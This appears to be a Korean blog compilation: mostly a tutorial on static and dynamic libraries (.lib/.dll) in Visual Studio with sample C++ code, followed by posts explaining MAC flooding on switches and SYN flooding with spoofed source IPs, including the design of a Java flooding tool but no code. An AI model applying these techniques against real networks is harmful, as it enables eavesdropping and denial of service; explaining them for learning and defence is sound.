동적 라이브러리를 보기 전에 정적 라이브러리를 먼저 살펴 보겠습니다.


O 정적 라이브러리(.LIB)

  정적 라이브러리(lib)를 만드는 법은 간단합니다. Visual Studio 2008에서 프로젝트 구성 형식을 정적 라이브러리(.lib)로 만들고 실행을 하면 되기 때문입니다. 이용을 하려면 이 라이브러리(.lib)와 해더 파일(.h)을 이 라이브러리를 이용할 프로젝트에 추가해주면, 이용 또한 쉽습니다.

  - 프로젝트에 추가 방법 [첫번째]
 1. [프로젝트 -  속성] 선택
 2. [링커 - 일반]탭을 선택 후, '추가 라이브러리 디렉터리'에 lib 파일의 경로를 추가.
 3. [링커 - 입력]탭을 선택 후, '추가 종속성' 란에 lib 파일을 입력하고, 확인을 누름.

  - 프로젝트에 추가 방법 [두번째]
 1. main.cpp(App 소스코드를 말함)에서 아래와 같이 입력합니다.

#include "XXX.h" // .h 파일의 경로를 입력한다. 또는 프로젝트에 그 폴더를 포함시킨다.
#pragma comment(lib"XXX.lib"// lib경로를 입력해야한다. 속성창에서 하는 일과 같다.

void main()
{
   ......
}



O 동적 라이브러리(.DLL)
  동적 라이브러리 또한 정적 라이브러리와 같이 사용이 가능합니다. dll로 프로젝트를 만들고 실행을 하게 되면 dll과 lib 파일이 생성됩니다. 여기서 lib파일에는 dll에 구현된 함수를 찾을 수 있는 정보가 있습니다.(저두 본거라...) 그래서 정적 라이브러리와 같은 방법으로 사용이 가능합니다. 이런 방식을 '암시적 연결'이라고 합니다.
   암시적 연결 방법만 있는 것은 아닙니다. 명시적 방법 또한 있습니다. 이 방법은 dll 파일만 있어도 사용 할 수 있습니다. 하지만 C스타일의 함수여야 하는 듯 합니다. 아래를 보시면 아시겠지만 함수의 이름으로 주소를 얻어오기 때문에 C++에서 사용 할 수 있는 오버로딩이 되지 않습니다. 오버로딩이란 함수의 이름은 같지만 매개변수가 다를 경우 다른 함수로 간주 하는 것을 말합니다. 
  한번 코드로 정리 해보겠습니다. 첫번째는 헤더와 lib파일을 이용해서 dll을 사용하는 방법입니다. 

 - DLL 소스코드
//Swap.h
#ifndef __SWAP_H__
#define __SWAP_H__


#ifdef DLL_EXPORT
    #define DLLTYPE __declspec(dllexport)
#else
    #define DLLTYPE __declspec(dllimport)
#endif //DLL_EXPORT

extern "C" DLLTYPE void SwapInt(int* dest, int* src);
extern "C" DLLTYPE void SwapStr(char* dest, char* src, int size);

#endif //__SWAP_H__

//Swap.cpp
#define DLL_EXPORT 
#include "Swap.h"
void SwapInt(int* dest, int* src)
{
    int temp = *dest;
    *dest = *src;
    *src = temp;
}
void SwapStr(char* dest, char* src, int size)
{
    char* pcTemp = new char[size];
    for(int i = 0 ; i < size ; i++)
    {
        pcTemp[i] = dest[i];
        dest[i] = src[i];
        src[i] = pcTemp[i];
    }
    delete [] pcTemp;


 - App 소스코드1 (.h + .lib 이용하여 dll 함수 호출)
#include <stdio.h>
#include <windows.h>
#include <tchar.h>

#include "..\SwapDll\Swap.h"
#pragma comment(lib"..\\Debug\\SwapDll.lib")

int main()
{
    int a = 10, b = 20;

    printf("\t\ta : %d, b : %d\n", a, b);
    SwapInt(&a,&b); 
    printf("swap --> \ta : %d, b : %d\n", a, b);

    return 0;
}


- App 소스코드2 (WinAPI를 이용하여 dll 함수 호출)
#include <stdio.h>
#include <windows.h>
#include <tchar.h>

typedef void (*Func)(int*, int*);
int main()
{
    int a = 10, b = 20;
    
    HINSTANCE hDll = LoadLibrary(_T("SwapDll.dll"));
    if(hDll == NULL)
    {
        printf("dll 로드 실패\n");
        return -1;
    }
    Func pFunc = (Func)GetProcAddress(hDll, "SwapInt");
    Func pFunc1 = (Func)GetProcAddress(hDll, "SwapStr");
    printf("\t\ta : %d, b : %d\n", a, b);
    pFunc(&a,&b); 
    printf("swap --> \ta : %d, b : %d\n", a, b);
 
    FreeLibrary(hDll);
    return 0;
}


  위의 소스코드는 코드 작성 이외의 다른 설정은 하지 않았습니다. dll의 구현은 함수 단위로 되어있습니다.
  dll을 클래스 단위로 구현한다면 어떻게 사용해야 할까요? 코드로 보겠습니다.

- DLL 소스코드(Class)
//SwapClass.h
#ifndef __SWAP_CLASS_H__
#define __SWAP_CLASS_H__

#ifdef DLL_EXPORT_CLASS
    #define DLLTYPE __declspec(dllexport)
#else
    #define DLLTYPE __declspec(dllimport)
#endif //DLL_EXPORT_CLASS

class DLLTYPE CSwapClass
{
public:
 CSwapClass();
 ~CSwapClass();
 void Int(int* dest, int* src);
 void String(char* dest, char* src, int size);
};

#endif //__SWAP_CLASS_H__

//SwapClass.cpp
#define DLL_EXPORT_CLASS
#include "SwapClass.h"

CSwapClass::CSwapClass()
{
}
CSwapClass::~CSwapClass()
{
}
void CSwapClass::Int(int* dest, int* src)

    int temp = *dest;
    *dest = *src;
    *src = temp;
}
void CSwapClass::String(char* dest, char* src, int size)
{
    char* pcTemp = new char[size];
    for(int i = 0 ; i < size ; i++)
    {
         pcTemp[i] = dest[i];
         dest[i] = src[i];
         src[i] = pcTemp[i];
    }
    delete [] pcTemp;
}


- App 소스코드 (Class)
#include <stdio.h>
#include <windows.h>
#include <tchar.h>

#include "..\SwapClassDll\SwapClass.h"
#pragma comment(lib"..\\Debug\\SwapClassDll.lib")

int main()
{
    int a = 10, b = 20;
    CSwapClass swaper;
 
    printf("\t\ta : %d, b : %d\n", a, b);
    swaper.Int(&a,&b); 
    printf("swap --> \ta : %d, b : %d\n", a, b);
    return 0;
}


  위와 같이 사용한다면 class 또한 사용이 가능합니다. 만약에 암시적으로 사용하고 싶다면, LoadLibrary() 함수와 GetProcAddress () 함수를 사용해야 하야 합니다. 하지만 GetProcAddress() 함수에 들어가는 두번째 매개변수는 함수명 또는 서수가 들어가야 합니다. C++의 함수는 사용 할 수 없기 때문에 [extern "C"] 를 사용해야 합니다. 그래서 그 함수에서는 new CSwapClass()를 반환한다면 사용이 가능합니다. 


※ 암시적 연결을 사용해서 함수 호출을 할려했더니 저는 애러는 나지 않았는데 정확한 주소
  를 못 얻어오더군요.. 좀 더 공부를 해봐야 할 듯  합니다. 

지금까지 암시적/명시적 연결로 DLL을 사용하는 방법을 알아봤습니다. 모두 열공하세요.

ps. Error C2491이 발생하신 분은 한번 보시기 바랍니다.(Microsoft 영문)
      링크 : http://support.microsoft.com/kb/815647/en-us/

AND

첫째, OS가 호출할 함수는 절대적으로 __stdcall을 쓴다. 

왜냐하면 OS는 __stdcall의 형식으로 호출하기 때문이다. 

둘째, DLL에 들어가는 함수를 만들때 왠만하면 __stdcall을 쓴다. 

왜냐하면 다른 프로그램에서도 그 함수를 호출할 수 있기때문이다. 

마지막 셋째, WinMain은 반드시.. _stdcall이다. 


일단간단하게 이렇게 알고


스택청소하는 순서... 뭐 이런건 차후에...

AND



목적파일만들고 --> lib만듦

라이브러리 파일은 컴파일된 여러 함수를 포함하고 있는 파일이다. 아니면 여러 목적 파일을 포함하고

있는 파일이라고 생각해도 된다. 그런데 어떻게 라이브러리 파일을 만들 수 있을까? MS VC 6.0(Microsoft Visual C++ 6.0) 도구를 이용하여 라이브러리 파일을 만드는 법을 살펴보자.

1. 먼저 vcvars32.bat 파일을 실행한다.
C:\> vcvars32

2. 라이브러리로 만들 소스 파일을 작성한다. 예를 들어 다음과 같은 내용으로 printa.c 파일을 작성한다.
#include <stdio.h>
int printa() {
    putchar('a');
    return 0;
}

3. 목적파일로 컴파일만 한다.
C:\> cl /c printa.c

4. lib 명령어로 라이브러리 파일을 만든다.
C:\> lib printa.obj

5. 라이브러리 파일(printa.lib)을 확인한다.

6. 라이브러리 함수를 사용하는 함수를 만든다(main.c).
int main() {
    return printa();
}

7. 컴파일할 때 라이브러리를 링크한다.
C:\> cl main.c /link printa.lib
AND


Library 란 ?

함수, 데이터, 타입 등 여러가지 프로그래밍 요소들의 집합.

 

같은 프로그래밍 코드를 작성할 필요를 제거하여, 개발을 빠르게 할 수 있도록 한다.

 

Library 에는 두가지 연결 모드가 있는데, 

하나는, Static Link 로 일반적으로 알고 있는 lib 파일을 프로그램에 포함시켜서 연결하는 방식이 있고, 

다른 하나는, Dynamic Link 로 Dll 파일을 생성하여 연결하는 방법이 있다.
 



 Static Link Library는 실행 프로그램에 LIB 파일(*.lib)을 넣어서 컴파일 하는 방식이다. 그 방식은 아래 그림과 같다.

 

 LIB_Compile.jpg
소스 파일이 목적파일로 바뀌고 그때 lib파일과 결합하여 실행파일이 생성된다.

옵션에서 lib파일을 추가해도 되고 
 #pragma comment(lib, "opengl32.lib")렇게 써주는 것두 같은 방법이다.


정적 링크라이브러리(Static Link Library)와 동적 링크라이브러리(Dynamic Link Library)

 

 -정적링크라이브러리-
 프로그램에서 특정 함수를 사용할려구 할 때 라이브러리 파일을 project-->setting-->Link-->Object/library modules에
 추가를 해주면 해당함수에 대한 기능이 구현된 부분이 실행파일에 덧붙여 지는 것이다.
 
#pragma comment(lib, "opengl32.lib")렇게 써주는 것두 같은 방법이다.

  

 -동적링크라이브러리-
 dll파일이 독립적으로 실행파일 밖에서 존재하다가 필요시에만 링크되는 형태
 1.메모리와 하드디스크를 절약할 수 있다.
 2.프로그램 실행속도가 빨라질 수 있다.
 3.프로그램이 모듈화 됩니다.


이런 차이가 있다. 그리고 dll에는 두가지 종류가 있다. 


 -일반 DLL과 확장 DLL이다.-
 일반DLL ===>C++,파스칼,비베등 다른 환경에서 사용할 수 있는 범용DLL이다.
             단점은 외부에서 사용되기 때문에 C함수의 형태로 만들어져야 한다.클래스나 오버로딩된 함수등의
             C++의 특징들은 일반 DLL의 내부에서 자유로이 사용될 수 있으나,다른 프로그램에서 사용될 수 
             있도록 라이브러리 형태로 만들 수는 없다.
 확장DLL ===>클래스나 오버로딩된 함수도 모두 라이브러리 형태로 외부의 프로그램에 제공할 수 있다.
             단점은 Visual C++(MFC)에서만 사용
  ::Visual C++(MFC)로 개발하는 프로젝트의 일부를 모듈화할 때는 확장 DLL,
    범용적인 라이브러리만들 때는 일반 DLL

 

 -MFC AppWizard(dll)을 선택시-

 * 위에 두 개는 일반dll 세 번째것은 확장 dll입니다.
        Preprocessor definition:_AFXEXT,_AFXDLL


 * (위에) 일반 dll은 정적링크(MFCxx.dll등의 파일이 필요없는거) MFC관련 DLL이 자신의 DLL에 결합되기 때문에 배포시

         자시만 Preprocessor definition:_USRDLL


 * (아래것은) MFC관련 DLL이 필요하게 됩니다. 이렇게 하면 필요한 함수나 기능들이 MFCxx.dll과 연결이 되므로
        5분의 1정도의 용량이 줄어듭니다. 쉽게 기본적으로 제공되는 MFC DLL을 사용하는냐 안하느냐 문제죠...
        Preprocessor definition:_USRDLL,_AFXDLL 

 

Preprocessor definition 는 컴파일러 커맨드 라인에 정의하는 전처리어로[Project->Setting...]메뉴를 선택하여 출력된 다이얼로그의 C/C++탭에서 볼 수 있다.
 _WINDLL :컴파일러에게 현재 프로젝트가 DLL임을 알려준다.
 _USRDLL:컴파일러에게 작성할 DLL이 일반 DLL임을 알려준다.
 _AFXDLL:컴파일러에게 작성할 DLL이 MFC DLL에 동적으로 연결됨을 알려준다.
 _AFXEXT:컴파일러에게 작성할 DLL이 확장DLL임을 알려준다.

 

 

=====================================================================================

동적 라이브러리 만들기...

정적 라이브러리는 Lib..동적 라이브러니는 DLL로 구분을 합니다(확장자가)

 

구동상의 차이는 정적 라이브러리는 컴파일시 실행파일에 포함되고

동적 라이브러리는 실행파일이 라이브러리에 필요한 작업 혹은 데이터가 있을때

라이브러리파일을 읽어와서 실행한다는 차이점이 있죠..

 

동적이건, 정적이건 이미 컴파일 되서 나오기 때문에 개발 시간은 물론이고

디버깅에도 매우 유리하다고 합니다.(단 라이브러리에 버그가 없을때 이겠죠 ㅎㅎ)

 

 

 

일단 라이브러리를 만들때는 라이브러리가 호출한 프로그램에게 어떤 함수를

제공하고 있는지, 다른 말로 이 함수는  외부에서 사용할수 있다는 키워드를 넣어줘야 합니다..

또 묵시적 연결을 사용하는 실행파일에선 무슨 함수를 쓰겠다는 선언을 해 줘야 하죠.(나중에 설명)

그런 작업을 하는 키워드가  __declspec(인수) 원형;입니다..

 

보통 원형에 __declspec(인수)란것이 들어간다는 점이 틀린 정도이구요..

인수에는 원형이 어떤 기억분류(?)인지 표준화 한다고 하네요..

간단히 라이브러리 만들때 제공하는 것들은 dllexport

실행파일에서 무슨 라이브러리를 쓰겠다고 선언할땐 dllimport

해당 스레드에서만 가용할수 있는 변수일땐 thread

이정도만 알아두면 기본적으로 쓰는데는 지장없을거 같네요...

그외에도 naked란 인수가 하나 더 있는데 이건 어셈으로

가상 디바이스 드라이버 만들때 사용한다고 하므로 패스 --;

 

그외에는 일반 함수 작성하는것과 똑같습니다...

일단 보통 프로그램처럼 엔트리 포인트(main이나 Winmain)이 필요는 없습니다..

하지만 필요하다면 만들어줄수도 있죠(필요없을땐 간단하게 툴이 만들어 주는거 같습니다)

DLL의 엔트리 포인트는 DllMain입니다..

여기에 3개의 인수가 전달받게 되는데 HINSTANCE, DWORD, LPVOID 타입를 전달해 줍니다..

이 함수가 실행되는건 4가지 조건이 발생했을때 호출이 되는데

DWORD에 호출 사유를 전달받으면 그에 따른 처리를 해주면 됩니다..

DLL_PROCESS_ATTACH - DLL이 로드 될 때

DLL_PROCESS_DETACH - DLL이 삭제 될 때

DLL_THREAD_ATTACH - DLL을 사용하는 프로세스에서 스레드를 생성할때

DLL_THREAD_DETACH - DLL을 사용하는 프로세서에서 스레드가 종료될때

각각의 값에 따라 처리를 해주면 됩니다..형식은 다른 윈도우 프로시저하고 비슷하죠..

 

dll를 빌드하면 dll파일과 lib파일이 생성되게 됩니다.

 

 

 

이렇게 만든 dll을 사용할수 있는 방법은 크게 두가지입니다..

묵시적 연결과 명시적 연결...

 

묵시적 연결은 컴파일할때 로드할 라이브러리를 미리 정의 시키는 방법입니다..

위에서 썼듯 묵시적 연결을 할때는 사용할 함수를 __declspec(dllimport) 원형;

으로 미리 지정해 주어야 합니다..

또 dll 빌드시 생성된 lib를 링커에 추가시켜 줘야 합니다..

보통 비주얼 스튜디오에선 프로젝트 속성->링커 쪽에 링크옵션 추가하는 부분 찾어서

넣어주면 됩니다..

그후엔 일반 함수 쓰듯이 그냥 사용해 주면 됩니다..

 

명시적 연결은 프로그램이 자체적으로 읽을 라이브러리를 지정해서 로드하는 방법입니다.

명시적 연결에는 기본적으로 3가지 함수가 사용되는데

라이브러리 로드할때 사용하는 LoadLibrary(읽을 파일) - 읽은 파일의 핸들을 리턴

라이브러리에서 함수를 읽는 GetProcAddress(라이브러리 핸들, 함수명) - 함수 포인터 리턴

읽은 라이브러리를 더이상 사용 안할서 해제할때 쓰는 FreeLibrary(라이브러리 핸들) - bool 리턴

 

명식적 연결을 사용할때는 기본적으로 함수 포인터를 사용하는 방법을 알고 있어야 합니다..

사용법은 함수 포인터로 함수를 호출하는 방식이 묵시적 연결하곤 좀 틀리죠..

참고로 LoadLibrary로 dll을 읽을때 윈도우는 해당 dll의 카운트를 증가시킵니다..

FreeLibrary로 dll를 해제할땐 카운트는 하나 줄이죠..

결국 카운트가 0이되어야 해당 dll이 메모리에서 삭제되므로 이 둘은 쌍으로 사용해 줘야

OS의 메모리 낭비를 막을수 있답니다..

 

이런식으로 작성한 실행파일은 반드시 해당 DLL이 있어야 실행이 가능합니다..

당연히 DLL이 없으면 실행되지 않습니다^^;

================================================================================

<첫번째 답변>

 

링크에서의 차이점입니다.

 

링크라는 것에 대해서 개념이 부족하시면 이해하시기 힘드신 부분입니다.

 

링크라는 것은 실행파일을 만들때, 컴파일된 결과를 이어주는 것입니다.

 

예를 들어서 a.cpp 파일에서 FX() 라는 함수를 불러쓰는 것이 있는데, 이 함수는 다른 곳에 만들어져 있어도 컴파일이 되죠.  FX() 라는 함수를 실제로 사용하기 위해서는 FX() 함수가 실제로 있어야합니다.  이 실제의 FX() 함수를 프로그램 실행파일 만들 때 연결(link)해주는 것이 바로 스태틱 링크(static link)입니다.  lib 파일을 이용한 것이죠.

그러나 실행파일을 실행중에 실제 함수 FX() 함수를 연결해주는 방법은 런타임링크(Run time link) 또는 다이나믹 링크(dynamic link)라고 합니다.  이 때 사용하는 것이 바로 dll 파일이죠.

 

스태틱 링크를 하였을 경우에는 exe 파일만 배급해도 실행이 되지만, 런타임링크를 했을 때에는 반드시 exe 파일과 함께 dll 파일도 배급해야합니다.

 

런타임링크의 장점은 공통된 모듈의 경우 dll로 사용함으로써 메모리 절약뿐 아니라, 메모리 로드에 의한 시간절약 등의 효과가 발생합니다.  그러나 버전 관리 등 여러가지 문제가 역시 발생할 수 있죠.

 

dll로 컴파일하였을 경우 lib 파일도 같이 생성이 됩니다.  이 때 lib에 있는 내용은 dll을 로딩하고 링크하는 역할이 들어가있습니다.


(출처 : 'LIB 파일과 DLL 파일에 관한 질문' - 네이버 지식iN)


 

<두번째 답변>

  

우리가 프로그램을 컴파일을 하면 실행 파일이 생성됩니다.

 

이때 컴파일의 단계를 보면 크게 2 부분으로 나누어져 있습니다.

 

1. 컴파일

2. 링크

 

입니다.

 

1 번에서는 프로그램상의 오류들을 검사하고, 각 명령어를 기계어 코드로

변환하죠. 컴퓨터는 기계어밖에 읽지 못합니다. 그래서 님께서 만드신

프로그램코드를 기계어 코드로 변환하죠.

 

그리고 2번에서는 님께서 만든 기계어 코드에서 님께서 사용한 함수들의

실행코드(기계어코드)를 찾습니다. 물론 님께서 만든 함수도 있고, 시스템에서

제공한 함수도 있습니다. 시스템에서 제공한 함수는 Librarry 파일이 따로 있기

때문에 해당 Library 에 가서 실행 코드를 가져와서 님께서 호출한 부분에

Copy 합니다. 그리고 님께서 만든 함수가 있다면 그 함수를 찾아서 해당

부분에 Copy 합니다. 이때 실행 코드가 없으면 에러가 나겠죠.

 

이렇게 크게 두부분으로 처리됩니다. 링크때 함수의 실행코드를 님의 실행코드에

붙이게 되는데 이 방법을 static link Library 라고 합니다. 즉, 링크단계에서

필요한 모든 함수의 코드를 찾아서 붙이는 방법이죠. 이 방법이 좋은것은

어떤 PC 에 실행 코드를 갖다놔도 실행이 됩니다. 즉, Library 파일이

따로 없더라도 실행 파일 자체가 모든 Library 를 가지고 다니기 때문이죠.

 

하지만 DLL(Dynamic Link Library) 는 링크때 실행 코드를 Library 에서 가져오지

않습니다. 단지 이부분에 오면 어떤 함수를 어디에서 사용한다는 정보만

들어갑니다. 정작 실행할때 해당 파일(DLL 파일) 을 열어서 실행코드를

가져와서 사용합니다. 즉, 컴파일 할때 필요없다는 얘기 입니다.

실행 할때 꼭 필요합니다.

 

그래서 실행 파일과 DLL 파일이 같이 움직여야 합니다. 다른  PC 에 실행파일을

Copy 할때 DLL 파일도 같이 Copy 해야 실행 됩니다.

좀 안좋게 느껴지죠 ?

 

하지만 좋은 점도 있습니다. 만약 어떤 수정사항이 생기면 static link library 같은

경우는 소스를 수정해서 다시 배포해야 합니다. 하지만

Dynamic Link Library 같은 경우는 수정되는 부분이 DLL 함수내에 있다면

DLL 파일만 수정해서 DLL 파일만 배포하면 됩니다.

 

그래서 수정사항이 생길수 있는 부분을 DLL 파일로 구현을 해서 혹 수정사항이

생기면 DLL 파일을 다시 배포하는 경우가 많습니다.

 

자, 이해가 되시나요 ? 그래서 어떤 프로그램을 실행하면 DLL 파일이 없다는

메시지를 본적이 있으시죠 ? 바로 이런 이유 때문입니다.

 

그리고 Windows Update 가 가끔 일어 나는데 이렇게 DLL 파일만

수정되는 경우도 많습니다.  안그러면 모든 파일을 배포해야 하는데

그 크기가 엄청크겠죠.

 

모두 장단점이 있으면 잘 생각하셔서 만드시길 ...

 

제 생각엔 그렇게 크지 않은 업무면 static link library 로 괜찮을 듯 ...

DLL 이 그렇게 좋지만 않습니다 ....

=================================================================================

dll, lib 는 코드를 모듈로 분산시킬때(?) 보통 쓰겠죠

dll 과 lib 의 차이점이라면 dll 은 다른 프로그램에의해 코드가 공유가 된다는 이점이 있겠고 (여러 프로그램이 같은 dll 을 사용한다는 뜻, 다만 공유메모리를 사용하지 않으면 독립적으로 메모리공간이 존재합니다) lib 는 실행화일과 합쳐져서 그 실행화일만 코드를 사용하겠죠

lib 은 헤더가 제공되어야 하겠고 dll 같은경우는 헤더를 제공하던지 함수형과 인자 정보를 별도로 제공해 사용될 수 있습니다

보통 우리가 c언어로 코딩을 할때 여러가지 기능을 루틴으로 분리합니다. 보통 그 루틴들을 함수로
만들어 놓고 쓰죠... (dll, lib)

이 함수들을 메인 실행파일에 포함되지 않고.... 다른 파일로 분리해 놓은게 dll 입니다.
즉 메인 실행파일에 이 함수의 몸체부분은 들어가 있지 않습니다.

메인 실행파일이 실행시에 해당 dll파일을 로드하며 필요한 함수들을 호출하여 이용합니다.
lib로 컴파일하면 메인 실행파일에 함수들의 몸체가 들어가는 형태입니다.

[장점]

dll :

- 메인 실행 파일의 사이즈가 작아진다.
- dll 에 있는 함수들을 다른 곳에서도 호출하여 쓸수 있으므로 재사용성이 증대된다.

lib:

- 속도가 좀 빠르다
- 코드하기가 간단하다.

[단점]

dll:

- 좀 사용이 복잡하다. (단, low 레벨로 코딩시; Lib를 쓰는것처럼 편하게 돼 있기도 합니다)
- 속도가 lib에 비해 느릴수 있다. (dll 파일도 찾아야 하고.. 로드하고 함수 포인터 위치도 얻어야 하고)

lib:

- 실행 파일의 크기가 커진다.
- 함수의 재사용성이 소스레벨에서만 가능하다.


그리고 둘다 헤더 파일을 제공해야 합니다.
단, dll의 경우 헤더 없이도 호출 가능하지만 좀 어려워요...



AND


 

 

CTS 크기 부호 C C++ C#
System.Byte 1 없음 Unsigned char Unsigned char byte
System.SByte 1 있음 char signed char sbyte
System.Int16 2 있음 short short short
System.UInt16 2 있음 unsigned short unsigned short ushort
System.Int32 4 있음 int int 또는 long int
System.UInt32 4 없음 unsigned int unsigned(long) uint
System.Int64 8 있음 long __int64 long
System.UInt64 8 없음 unsigned long unsigned __int64 ulong
System.Char 2 없음 wchar_t wchar_t char
System.Single 4 있음 float float float
System.Double 8 있음 double double double
System.Decimal 16 있음 없음 Decimal decimal
System.Boolean 1   bool bool bool
System.String 가변   없음 string string
System.Object 가변   없음 Object * object

AND

스위치 해킹 
작성자 : 유창훈
스위치 해킹을 하려면 당연히 스위치의 보안취약점을 알아야 합니다. 
기본적인 스위치에 대한 것은 알고 있다고 생각하고 글을 쓰겠습니다. 


오늘은 스위치 의 취약점 중 하나인  mac flooding에 관해 알아보도록 하겠습니다. 

1. mac flooding
허브에서 스위치로 넘어오면서 가장눈에 띄게 달라진점은 스위치의 각 포트들은 독립적으로 자신의 대역폭을 보장받고 독립적으로 통신하게 끔 되었다는 것입니다. 네트워크 대역폭이 shared가 아니라 dedicated가 되었다는 것이고 스니핑이 짜증나졌다는것이죠. 허브땐 그냥 허브에 연결되어있으면 그냥 스니핑되었는데, 스위치는 스위치 안에 포트별 맥주소가 맵핑되어있는  mac table을 가지고있어, 이 table을 기준으로 데이터를 전달합니다. 다른 포트로의 포워딩을 막게끔되었습니다.

따라서 스니핑을 위해서 mac table을 무력화시켜야합니다. 같은네트웍인데 스위치에 달려있다고 스니핑 못하면 억울하니까요.  
그래서 나온방법이 mac flooding입니다. mac table의 용량 한계를 넘기도록 많은 mac주소를 발생시켜서 mac table이 뻗어버리게 합니다. 그럼 스위치가 허브처럼됩니다. 공격포인트는 바로 스위치가 가진 mac table 을 계속 채워서 더이상 mac table의 저장공간이 부족하게 끔 만드는 것입니다.  그러면 더이상 특정 포트로만 패킷을 포워딩하지 않고 모든 포트로 패킷을 포워딩 하게 됩니다. 
간단하지요???

리눅스에 macof라는 툴이 있습니다. 명령어도 간단하게 macof인데요 . 듣보잡 tcp패킷 막만들어서  ethernet해더에 source 와 destination 주소에 아무맥주소나 막집어넣어서 내보냅니다.   그냥 묻고따지고 그런 거 없이내보내기만 합니다. 
어떻게하든 스위치에만 전달되면 되는 것이니까요. 


웃긴건 그래도 IP header에 tcp 틀 까지는 붙였다는 것입니다. 의문점은 ip header에 꼭 ip주소까지 다 셋팅해서 보내야 스위치에서 mac table에 등록하는것인가 하는 점입니다. 뭐 해보진 않았지만 ARP 인사 패킷이나, 좀더 줄일 수 있는 방법이 없나 테스트 해봐야겠습니다. 
여튼, 요런 식으로 맥주소를 막 바꿔가면서 스위치로 보내면, 스위치가 뻗어서 스위치 역할을 못한다는 것이지요. 

이건 굳이 소스 구현하지 않겠습니다. 너무 간단한거라, ..

이러한 공격에 대한 방어법으로는 스위치에서 다음과 같은 셋팅을 해 놓는 겁니다. 
1. 해당포트를 스테틱하게 지정해놓기 :  근데 이건 서버측 과같은 잘 안바뀌는 맥주소에다가 지정해놓습니다
2. 포트별로 mac 주소 할당가능한 갯수 지정해놓기, 

위와 같이 셋팅을 해 놓게 되면 공격이 들어왔거나, 맥주소가 바뀌었을때, 포트가 다운되게 됩니다. 관리자가 up시키지 전까지는 계속 다운상태입니다. 

따라서 환경에 따라 다르게 셋팅하여야합니다. 무조건 한개의 포트 와 하나의 맥주소는 바른정책이라고 할 수 없습니다. 







AND

작성자 : 유창훈

기본적인 이해는 다음을 참고해 주시기 바랍니다. 


간단하게 말하자면, 시스템 연결을 위해 3way handshaking과정 진행 중에 사용하는 백로그 큐 라는 공간을 다 사용해 버려서  정상적인 세션의 연결이 이루어 지지 않도록 하는 공격입니다. 

3way hand shaking은 다음과 같은 과정을 이루게 되는데
 


첫번째 Syn이 서버에게 가면 서버가 Syn에 대한 내용을 자신의 "백로그큐"에 넣어넣고 Syn/ACk를 응답합니다. 그리고 기다립니다.  ACK가 올때까지!! 근데 안오면 계속 백로그 큐에 일정시간(75초)동안 존재하다가 사라집니다. 

마지막에 ACK를 응답해 줄 수 없도록 공격자는 SYN 패킷 발송시 source IP주소를 인터넷 상에 존재하지 않는 IP주소로 셋팅하여 서버에게 보내게 되면 서버는 SYN/ACK를 응답하고 ACK가 올때까지 기다리게 되는것입니다. 
요때 공격자는 다시 source IP 가 조작된 SYN 패킷을 보내게 되고 서버는 또기다리고 , 공격자는 또보내고 계속보내고 하다보면 서버의 백로그큐 공간은 다 차 버리게 되어서 공격자가 SYN 패킷으로 공격한 해당 서비스는  서비스를 할 수 없는 상태에 이르게 됩니다. 

이것이 공격 SYN FLOODING입니다. 

아주 간단하게 구현 가능하며, 다만 TCP CheckSum 값을 위해 TCP에서는 가짜헤더라는 개념이 등장하게 됩니다. 

 
공격자가 조작하는 Source IP는 고정적이든 랜덤적이든 상관없이, 서버의 백로그만 가득 채우면됩니다. 

TCP checksum을 계산하기 위해서는 pseudo header라는 것이 필요합니다. pseudo header는 TCP의 checksum을 계산하기 위해서 필요한 추가적인 데이터로 다음과 같은 정보를 포함하게 되는데요 정보는 다음과 같습니다. 

  • Source address: IP 헤더의 source address에서 추출
  • Destination Address: IP 헤더의 dest address에서 추출
  • Reserved: 나중을 위해서 예약된 필드(0×00)
  • Protocol: IP헤더의 Protocol에서 추출
  • TCP Segment length: TCP header + data의 길이

TCP checksum필드를 0×00으로 채워 넣은뒤 pseudo header + TCP header + DATA의 Checksum을 계산하면 TCP의 checksum 값을 구할 수 있습니다.

소스는 조금있다 밤중에  올리도록 하겠습니다. 






작성자 : 유창훈

업로드가 좀 늦어졌네요. 바로 설명들어가겠습니다. 
지난번에 올린 Synflooding 설명을 보셨으면 알고리즘은 이해가 가실겁니다. 

한가지 확실하게 알아 두실것은 , 백로그 큐를 지속적으로 꽉 차게 해서 한치의 서비스 허용도 불가하게 만드시려면 짧은시간간격으로 루프를 돌리셔서 계속 공격해야 합니다 . 한번에 5초동안 1000개 패킷보내서 큐  다채웠다 하고 손놓고 있으면 이 공격은 통하지 않습니다. 

======================================================================================

소스 구성은 다음과 같습니다. 
synflood.java : 인터페이스 설정과, ARP request패킷 송신
dump.java     :  패킷 캡쳐시 필터링과 Syn 패킷 송신
Dump_for_thread.java : 패킷 캡쳐와 송신을 동시에 하기 위한 스레드 작업
ck.java          :  checksum  


동작 순서

1. 입력은 커맨드 환경으로  동일 네트워크에서는  '타켓IP'와 '포트번호' 만을 입력하면되고 
원격지의 타겟에대해서는 '타켓IP' 와  '게이트웨이IP'  와 '포트번호' 를 입력받는다. 

2.  커맨드에서 입력받은 인자의 갯수로 타겟의 위치가 동일 네트웍인지 원격지인지 판단한다.
     동일네트웍 안의 공격대상이 있으면 타겟 IP주소를 대상으로   ARP request를 보내고 원격지에 공격대상이 있으면 게이트웨이IP를 대상으로   ARP request를 보낸다. 

3. 응답받은 맥주소를 destination Mac address로 해서 공격자가 지정한 IP 와 포트로  Syn  flag가 셋팅된 패킷을 보낸다. 

======================================================================================

네트워크 공격이란게, 이렇게 흐름만 보면 어려운것은 없습니다. 하지만 진짜 내가 원하는 방향으로 흘러가게끔 만들기 위해서는 패킷의 비트단위로 구성요소를 잘 알아야 하는것 같습니다. 

저도 이번 소스를 하면서 배웠는데요, 
Synflooding attack에서 꼭  신경써서 조작해 주어야 하는 부분은 패킷 포멧중 어디일까요? 
이 공격은 기본적으로 TCP 포멧입니다. 

======================================================================================
소스에 앞서 필드 설명부터 간단히 해보겠습니다. 

ether header에서는 로컬이냐 원격지냐에따라서 목적지 mac주소만 잘 적어주면되고

IP에서는 
ID?   flagmentaion이 이루어지지 않았으니까, 신경쓰지 않으셔도 됩니다. 
                 
total length? >  IP header + IP data(TCP header+TCP data)      이것만 맞춰서 초기 배열생성시 알맞은 크기로 지정하면됩니다
             
ttl 은 기본적으로 바꾸어주시구요
             
Protocol부분은 당연 TCP인 6번으로 바꾸시면됩니다 

